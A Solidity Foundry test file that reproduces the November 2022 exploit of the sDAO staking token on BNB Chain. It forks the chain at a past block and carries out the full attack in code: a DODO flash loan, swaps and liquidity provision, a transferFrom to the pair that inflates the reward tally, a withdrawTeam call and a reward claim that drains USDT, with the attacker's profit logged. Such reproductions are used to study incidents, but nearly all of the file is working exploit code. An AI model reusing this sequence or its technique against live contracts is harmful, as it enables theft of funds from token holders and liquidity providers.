src/test/2022-11/SDAO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/8olidity/status/1594693686398316544
9// https://twitter.com/CertiKAlert/status/1594615286556393478
10// @TX
11// https://bscscan.com/tx/0xb3ac111d294ea9dedfd99349304a9606df0b572d05da8cedf47ba169d10791ed
12 
13interface sDAO is IERC20 {
14    function stakeLP(
15        uint256 _lpAmount
16    ) external;
17    function withdrawTeam(
18        address _token
19    ) external;
20    function getPerTokenReward() external view returns (uint256);
21    function userLPStakeAmount(
22        address account
23    ) external view returns (uint256);
24    function userRewardPerTokenPaid(
25        address account
26    ) external view returns (uint256);
27    function totalStakeReward() external view returns (uint256);
28    function lastTotalStakeReward() external view returns (uint256);
29    function pendingToken(
30        address account
31    ) external view returns (uint256);
32    function getReward() external;
33}
34 
35contract ContractTest is Test {
36    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
37    sDAO SDAO = sDAO(0x6666625Ab26131B490E7015333F97306F05Bf816);
38    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
39    Uni_Pair_V2 Pair = Uni_Pair_V2(0x333896437125fF680f146f18c8A164Be831C4C71);
40    address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
41 
42    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
43 
44    function setUp() public {
45        cheats.createSelectFork("bsc", 23_241_440);
46    }
47 
48    function testExploit() public {
49        USDT.approve(address(Router), type(uint256).max);
50        SDAO.approve(address(Router), type(uint256).max);
51        Pair.approve(address(Router), type(uint256).max);
52        Pair.approve(address(SDAO), type(uint256).max);
53        SDAO.approve(address(this), type(uint256).max);
54        DVM(dodo).flashLoan(0, 500 * 1e18, address(this), new bytes(1));
55 
56        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
57    }
58 
59    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
60        USDTToSDAO();
61        addUSDTsDAOLiquidity();
62        SDAO.stakeLP(Pair.balanceOf(address(this)) / 2);
63        // SDAO.transfer(address(Pair), SDAO.balanceOf(address(this)));
64        SDAO.transferFrom(address(this), address(Pair), SDAO.balanceOf(address(this))); // change totalStakeReward > lastTotalStakeReward
65        SDAO.withdrawTeam(address(Pair));
66        Pair.transfer(address(SDAO), 13 * 1e15);
67        // uint total = SDAO.totalStakeReward();
68        // uint lasttotal =SDAO.lastTotalStakeReward();
69        // uint stake = SDAO.userLPStakeAmount(address(this));
70        // uint paid = SDAO.userRewardPerTokenPaid(address(this));
71        // uint reward = SDAO.getPerTokenReward();
72        // uint pending = SDAO.pendingToken(address(this));
73        SDAO.getReward();
74        SDAOToUSDT();
75        USDT.transfer(dodo, 500 * 1e18);
76    }
77 
78    function USDTToSDAO() internal {
79        address[] memory path = new address[](2);
80        path[0] = address(USDT);
81        path[1] = address(SDAO);
82        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
83            250 * 1e18, 0, path, address(this), block.timestamp + 60
84        );
85    }
86 
87    function addUSDTsDAOLiquidity() internal {
88        Router.addLiquidity(
89            address(USDT),
90            address(SDAO),
91            USDT.balanceOf(address(this)),
92            SDAO.balanceOf(address(this)) / 2,
93            0,
94            0,
95            address(this),
96            block.timestamp + 60
97        );
98    }
99 
100    function SDAOToUSDT() internal {
101        address[] memory path = new address[](2);
102        path[0] = address(SDAO);
103        path[1] = address(USDT);
104        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
105            SDAO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
106        );
107    }
108}